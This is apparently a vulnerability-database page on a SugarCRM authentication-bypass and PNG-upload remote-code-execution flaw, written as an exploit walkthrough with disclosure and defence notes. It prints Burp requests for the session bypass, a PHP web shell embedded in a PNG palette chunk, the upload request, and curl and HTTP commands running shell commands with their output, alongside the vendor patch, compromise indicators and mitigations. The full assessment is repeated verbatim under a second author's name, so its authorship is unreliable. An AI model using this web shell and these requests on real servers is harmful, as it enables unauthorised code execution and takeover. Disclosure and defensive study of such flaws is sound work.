CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
LOW
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
AI Score
Confidence
High
EPSS
Percentile
97.6%
In SugarCRM before 12.0. Hotfix 91155, a crafted request can inject custom PHP code through the EmailTemplates because of missing input validation.
Recent assessments:
h00die-gr3y at January 18, 2023 8:56am UTC reported:
Last December, 28th 2022, a zero.day vulnerability in the SugarCRM application was disclosed by sw33t.0day
. SugarCRM is a popular CRM application that is used by thousands of customers and the latest run of shodan
shows more than 5600 instances active on the Internet.
It is fair to say that not all instances are vulnerable. There is a fast amount of SugarCRM Community Editions amongst them that are not affected by this vulnerability.
For the vulnerable versions, please check the security advisory sugarcrm-sa-2023-001 from the vendor.
The vulnerability in sugarCRM could allow an unauthenticated attacker to upload a malicious PNG file with embedded PHP code to the /cache/images/
directory on the web server. Once uploaded to the server, depending on server configuration, the attacker may be able to execute that code over the web via HTTP
or HTTPS
gaining access to the system.
The vulnerability is caused by two issues in the code base of sugarCRM.
First issue is a missing authentication check in the loadUser()
method in include/MVC/SugarApplication.php
.
After a failed login, the session does not get destroyed and hence the attacker can continue to send valid requests to the application.
The burp request below shows this behavior.
Authentication request and response from a vulnerable instance
POST /index.php HTTP/1.1
Host: TARGET:80
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12_2_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.2 Safari/605.1.15
Cookie: PHPSESSID=c09b717d-9ff8-42ec-a2fb-1ad3edfab4c5
Content-Type: application/x-www-form-urlencoded
Content-Length: 72
Connection: close
module=Users&action=Authenticate&user_name=brenda&user_password=DbLiL98a
Response is a HTTP 500 message and the response says You must specify a valid username and password.
Could be different depending on the language settings.
HTTP/1.0 500 Server Error
Date: Wed, 18 Jan 2023 05:54:58 GMT
Server: Apache/2.4.10 (Debian)
Set-Cookie: PHPSESSID=c09b717d-9ff8-42ec-a2fb-1ad3edfab4c5; path=/; HttpOnly;
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Set-Cookie: PHPSESSID=c09b717d-9ff8-42ec-a2fb-1ad3edfab4c5; path=/; HttpOnly;
Set-Cookie: PHPSESSID=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/; HttpOnly
Status: 500 Server Error
Set-Cookie: PHPSESSID=c09b717d-9ff8-42ec-a2fb-1ad3edfab4c5; path=/; HttpOnly;
Content-Length: 47
Connection: close
Content-Type: text/html; charset=UTF-8
You must specify a valid username and password.
After applying the suggested fix below from the vendor, the session information gets destroyed after a failed login and further request will fail.
//If there was a login error, we should not allow the further code execution and destroy the session
if (isset($_SESSION['login_error'])) {
if ($sess->getId()) {
$sess->destroy();
};
header('Location: ' . $this->getUnauthenticatedHomeUrl(true));
exit();
}
Burp response after the patch, where the response says You need to be logged in to perform this action.
HTTP/1.0 500 Server Error
Date: Tue, 17 Jan 2023 07:23:56 GMT
Server: Apache/2.4.10 (Debian)
Set-Cookie: PHPSESSID=cf6361a9-6222-45f4-bcfb-08d0dc88376e; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Set-Cookie: PHPSESSID=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/
Status: 500 Server Error
Content-Length: 49
Connection: close
Content-Type: text/html; charset=UTF-8
You need to be logged in to perform this action.
The second issue is around the ability to upload of a malicious PNG file with PHP code embedded that can be executed by the attacker.
The vulnerable endpoint is /index.php?module=EmailTemplates&action=AttachFiles
There is a good reference Persistent PHP payloads in PNGs that explains very well how to build a malicious PNG file with PHP code embedded.
The are several ways to hide web shell code into a PNG to make the upload of such malicious PNG successful.
In this case, we will embed the web shell code into a so called PLTE chunk which stores the color palette code of a PNG.
This PLTE chunk is a critical chunk of data that does not get compressed when uploading a PNG which typically a lot of web applications do nowadays.
The PLTE chunk contains from 1 to 256 palette entries, each a three-byte series of the form:
> Red: 1 byte (0 = black, 255 = red)
Green: 1 byte (0 = black, 255 = green)
Blue: 1 byte (0 = black, 255 = blue)
Using the PLTE chunk, we potentially have 256*3 bytes available to inject our payload into such a critical chunk, which should be more than enough. The only constraint being that the length of the payload must be divisible by 3.
Our main objective is to keep our web shell small and keep it flexible to accommodate large payloads to avoid the restrictions 768 bytes and the length of the payload. By using a PHP payload like <?=$_GET[0](base64_decode($_POST[1]));?>
, it will satisfy those requirements where you externalize the actual payload to be delivered to the target and can modify the PHP shell command functions during runtime such as exec()
, passthru()
, shell_exec()
and system()
.
See curl
examples below.
# echo 'ls -l' | base64
bHMgLWwK
# curl -XPOST -d '1=bHMgLWw=' 'http://localhost/yohoo.phar?0=passthru' -o -
# curl -XPOST -d '1=bHMgLWw=' 'http://localhost/yohoo.phar?0=system' -o -
# curl -XPOST -d '1=bHMgLWw=' 'http://localhost/yohoo.phar?0=shell_exec' -o -
The burp requests below shows a success upload of the malicious PNG with PHP code embedded at a vulnerable target followed by a successful command injection.
Malicious PNG File upload
POST /index.php HTTP/1.1
Host: TARGET:80
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12_2_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.2 Safari/605.1.15
Cookie: PHPSESSID=c09b717d-9ff8-42ec-a2fb-1ad3edfab4c5
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryWeTJtA8WByYIQMGR
Content-Length: 601
Connection: close
------WebKitFormBoundaryWeTJtA8WByYIQMGR
Content-Disposition: form-data; name="action"
AttachFiles
------WebKitFormBoundaryWeTJtA8WByYIQMGR
Content-Disposition: form-data; name="module"
EmailTemplates
------WebKitFormBoundaryWeTJtA8WByYIQMGR
Content-Disposition: form-data; name="file"; filename="yohoo.phar"
Content-Type: image/png
PNG
--Garbled binary text--<?=$_GET[0](base64_decode($_POST[1]));?>--Garbled binary text--
------WebKitFormBoundaryWeTJtA8WByYIQMGR--
Successful response of the upload will show the file entry at end of the response.
HTTP/1.1 200 OK
Date: Wed, 18 Jan 2023 05:55:00 GMT
Server: Apache/2.4.10 (Debian)
Set-Cookie: PHPSESSID=c09b717d-9ff8-42ec-a2fb-1ad3edfab4c5; path=/; HttpOnly
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Set-Cookie: PHPSESSID=c09b717d-9ff8-42ec-a2fb-1ad3edfab4c5; path=/; HttpOnly
Vary: Accept-Encoding
Content-Length: 4460
Connection: close
Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html lang='en_us'>
<head>
---- A LOT of HTML CRAP ----
<div>
<div>
<table><tr><td>
["cache\/images\/yohoo.phar"]
Command execution of ls -l
POST /cache/images/yohoo.phar?0=passthru HTTP/1.1
Host:TARGET:80
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12_2_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.2 Safari/605.1.15
Cookie: PHPSESSID=06457e85-5a6c-4428-880a-8e5134137650
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
Connection: close
1=bHMgLWwK
Remote command execution response
HTTP/1.1 200 OK
Date: Mon, 16 Jan 2023 16:23:10 GMT
Server: Apache/2.4.10 (Debian)
Vary: Accept-Encoding
Content-Length: 1209
Connection: close
Content-Type: text/html; charset=UTF-8
PNG
--Garbled binary text--total 76
-rw-r--r-- 1 www-data www-data 207 Jan 16 14:38 yohoo.phar
--Garbled binary text--
You can of course vary the 0 parameter with other PHP shell command functions such as exec
, shell_exec
or system
.
When you want to check if your system is compromised, please look for unexpected files in the /cache/images/
directory. The published exploit had a filename sweet.phar
that was not cleaned. However, attackers have changed these filenames such as imagefile.phar
, meow.phar
, rvsm.phar
, aws.phar
, and are using files with other extensions.
Also be conscious of the fact that the files might have been cleaned up by the attacker to cover their tracks.
Other evidence might be failed execution request for files under the /cache/images/
directory with the extension php
, phar
, phtml
, php7
, or any other executable extension NOT allowed by your web server configuration. The response codes can be found in your web server logs, such as 404
– the file was not found or 403
– the access was denied by web server.
Please follow the guidelines from the vendor to patch your system January 5, 2023: Security vulnerability update and FAQ or configure additional security settings in your web server such as preventing PHP code parsing/execution using .htaccess setting
file in /cache/images/
directory and/or prevent PHP code execution by updating security settings in the php.ini
file. Lots of security guidance is available on the Internet.
Another less obvious security measure to consider is to enable SAML
authentication that will mitigate the authentication bypass issue, hence will protect you against unauthenticated malicious file uploads.
I have created a Metasploit
module to test this vulnerability. A local version of this module can found at the References section.
Submission to Metasploit mainstream is completed and module is in production.
Full Disclosure
Public Exploit – Packetstorm
Security Advisory – sugarcrm-sa-2023-001
January 5, 2023: Security vulnerability update and FAQ
Encoding web shells in PNG IDAT chunks
Persistent PHP payloads in PNGs
Metasploit Development h00die-gr3y
Credits goes to sw33t.0day
below who discovered this vulnerability.
rbowes-r7 at January 11, 2023 9:25pm UTC reported:
Last December, 28th 2022, a zero.day vulnerability in the SugarCRM application was disclosed by sw33t.0day
. SugarCRM is a popular CRM application that is used by thousands of customers and the latest run of shodan
shows more than 5600 instances active on the Internet.
It is fair to say that not all instances are vulnerable. There is a fast amount of SugarCRM Community Editions amongst them that are not affected by this vulnerability.
For the vulnerable versions, please check the security advisory sugarcrm-sa-2023-001 from the vendor.
The vulnerability in sugarCRM could allow an unauthenticated attacker to upload a malicious PNG file with embedded PHP code to the /cache/images/
directory on the web server. Once uploaded to the server, depending on server configuration, the attacker may be able to execute that code over the web via HTTP
or HTTPS
gaining access to the system.
The vulnerability is caused by two issues in the code base of sugarCRM.
First issue is a missing authentication check in the loadUser()
method in include/MVC/SugarApplication.php
.
After a failed login, the session does not get destroyed and hence the attacker can continue to send valid requests to the application.
The burp request below shows this behavior.
Authentication request and response from a vulnerable instance
POST /index.php HTTP/1.1
Host: TARGET:80
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12_2_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.2 Safari/605.1.15
Cookie: PHPSESSID=c09b717d-9ff8-42ec-a2fb-1ad3edfab4c5
Content-Type: application/x-www-form-urlencoded
Content-Length: 72
Connection: close
module=Users&action=Authenticate&user_name=brenda&user_password=DbLiL98a
Response is a HTTP 500 message and the response says You must specify a valid username and password.
Could be different depending on the language settings.
HTTP/1.0 500 Server Error
Date: Wed, 18 Jan 2023 05:54:58 GMT
Server: Apache/2.4.10 (Debian)
Set-Cookie: PHPSESSID=c09b717d-9ff8-42ec-a2fb-1ad3edfab4c5; path=/; HttpOnly;
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Set-Cookie: PHPSESSID=c09b717d-9ff8-42ec-a2fb-1ad3edfab4c5; path=/; HttpOnly;
Set-Cookie: PHPSESSID=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/; HttpOnly
Status: 500 Server Error
Set-Cookie: PHPSESSID=c09b717d-9ff8-42ec-a2fb-1ad3edfab4c5; path=/; HttpOnly;
Content-Length: 47
Connection: close
Content-Type: text/html; charset=UTF-8
You must specify a valid username and password.
After applying the suggested fix below from the vendor, the session information gets destroyed after a failed login and further request will fail.
//If there was a login error, we should not allow the further code execution and destroy the session
if (isset($_SESSION['login_error'])) {
if ($sess->getId()) {
$sess->destroy();
};
header('Location: ' . $this->getUnauthenticatedHomeUrl(true));
exit();
}
Burp response after the patch, where the response says You need to be logged in to perform this action.
HTTP/1.0 500 Server Error
Date: Tue, 17 Jan 2023 07:23:56 GMT
Server: Apache/2.4.10 (Debian)
Set-Cookie: PHPSESSID=cf6361a9-6222-45f4-bcfb-08d0dc88376e; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Set-Cookie: PHPSESSID=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/
Status: 500 Server Error
Content-Length: 49
Connection: close
Content-Type: text/html; charset=UTF-8
You need to be logged in to perform this action.
The second issue is around the ability to upload of a malicious PNG file with PHP code embedded that can be executed by the attacker.
The vulnerable endpoint is /index.php?module=EmailTemplates&action=AttachFiles
There is a good reference Persistent PHP payloads in PNGs that explains very well how to build a malicious PNG file with PHP code embedded.
The are several ways to hide web shell code into a PNG to make the upload of such malicious PNG successful.
In this case, we will embed the web shell code into a so called PLTE chunk which stores the color palette code of a PNG.
This PLTE chunk is a critical chunk of data that does not get compressed when uploading a PNG which typically a lot of web applications do nowadays.
The PLTE chunk contains from 1 to 256 palette entries, each a three-byte series of the form:
> Red: 1 byte (0 = black, 255 = red)
Green: 1 byte (0 = black, 255 = green)
Blue: 1 byte (0 = black, 255 = blue)
Using the PLTE chunk, we potentially have 256*3 bytes available to inject our payload into such a critical chunk, which should be more than enough. The only constraint being that the length of the payload must be divisible by 3.
Our main objective is to keep our web shell small and keep it flexible to accommodate large payloads to avoid the restrictions 768 bytes and the length of the payload. By using a PHP payload like <?=$_GET[0](base64_decode($_POST[1]));?>
, it will satisfy those requirements where you externalize the actual payload to be delivered to the target and can modify the PHP shell command functions during runtime such as exec()
, passthru()
, shell_exec()
and system()
.
See curl
examples below.
# echo 'ls -l' | base64
bHMgLWwK
# curl -XPOST -d '1=bHMgLWw=' 'http://localhost/yohoo.phar?0=passthru' -o -
# curl -XPOST -d '1=bHMgLWw=' 'http://localhost/yohoo.phar?0=system' -o -
# curl -XPOST -d '1=bHMgLWw=' 'http://localhost/yohoo.phar?0=shell_exec' -o -
The burp requests below shows a success upload of the malicious PNG with PHP code embedded at a vulnerable target followed by a successful command injection.
Malicious PNG File upload
POST /index.php HTTP/1.1
Host: TARGET:80
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12_2_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.2 Safari/605.1.15
Cookie: PHPSESSID=c09b717d-9ff8-42ec-a2fb-1ad3edfab4c5
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryWeTJtA8WByYIQMGR
Content-Length: 601
Connection: close
------WebKitFormBoundaryWeTJtA8WByYIQMGR
Content-Disposition: form-data; name="action"
AttachFiles
------WebKitFormBoundaryWeTJtA8WByYIQMGR
Content-Disposition: form-data; name="module"
EmailTemplates
------WebKitFormBoundaryWeTJtA8WByYIQMGR
Content-Disposition: form-data; name="file"; filename="yohoo.phar"
Content-Type: image/png
PNG
--Garbled binary text--<?=$_GET[0](base64_decode($_POST[1]));?>--Garbled binary text--
------WebKitFormBoundaryWeTJtA8WByYIQMGR--
Successful response of the upload will show the file entry at end of the response.
HTTP/1.1 200 OK
Date: Wed, 18 Jan 2023 05:55:00 GMT
Server: Apache/2.4.10 (Debian)
Set-Cookie: PHPSESSID=c09b717d-9ff8-42ec-a2fb-1ad3edfab4c5; path=/; HttpOnly
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Set-Cookie: PHPSESSID=c09b717d-9ff8-42ec-a2fb-1ad3edfab4c5; path=/; HttpOnly
Vary: Accept-Encoding
Content-Length: 4460
Connection: close
Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html lang='en_us'>
<head>
---- A LOT of HTML CRAP ----
<div>
<div>
<table><tr><td>
["cache\/images\/yohoo.phar"]
Command execution of ls -l
POST /cache/images/yohoo.phar?0=passthru HTTP/1.1
Host:TARGET:80
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12_2_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.2 Safari/605.1.15
Cookie: PHPSESSID=06457e85-5a6c-4428-880a-8e5134137650
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
Connection: close
1=bHMgLWwK
Remote command execution response
HTTP/1.1 200 OK
Date: Mon, 16 Jan 2023 16:23:10 GMT
Server: Apache/2.4.10 (Debian)
Vary: Accept-Encoding
Content-Length: 1209
Connection: close
Content-Type: text/html; charset=UTF-8
PNG
--Garbled binary text--total 76
-rw-r--r-- 1 www-data www-data 207 Jan 16 14:38 yohoo.phar
--Garbled binary text--
You can of course vary the 0 parameter with other PHP shell command functions such as exec
, shell_exec
or system
.
When you want to check if your system is compromised, please look for unexpected files in the /cache/images/
directory. The published exploit had a filename sweet.phar
that was not cleaned. However, attackers have changed these filenames such as imagefile.phar
, meow.phar
, rvsm.phar
, aws.phar
, and are using files with other extensions.
Also be conscious of the fact that the files might have been cleaned up by the attacker to cover their tracks.
Other evidence might be failed execution request for files under the /cache/images/
directory with the extension php
, phar
, phtml
, php7
, or any other executable extension NOT allowed by your web server configuration. The response codes can be found in your web server logs, such as 404
– the file was not found or 403
– the access was denied by web server.
Please follow the guidelines from the vendor to patch your system January 5, 2023: Security vulnerability update and FAQ or configure additional security settings in your web server such as preventing PHP code parsing/execution using .htaccess setting
file in /cache/images/
directory and/or prevent PHP code execution by updating security settings in the php.ini
file. Lots of security guidance is available on the Internet.
Another less obvious security measure to consider is to enable SAML
authentication that will mitigate the authentication bypass issue, hence will protect you against unauthenticated malicious file uploads.
I have created a Metasploit
module to test this vulnerability. A local version of this module can found at the References section.
Submission to Metasploit mainstream is completed and module is in production.
Full Disclosure
Public Exploit – Packetstorm
Security Advisory – sugarcrm-sa-2023-001
January 5, 2023: Security vulnerability update and FAQ
Encoding web shells in PNG IDAT chunks
Persistent PHP payloads in PNGs
Metasploit Development h00die-gr3y
Credits goes to sw33t.0day
below who discovered this vulnerability.
Assessed Attacker Value: 3
Assessed Attacker Value: 3Assessed Attacker Value: 4
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
LOW
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
AI Score
Confidence
High
EPSS
Percentile
97.6%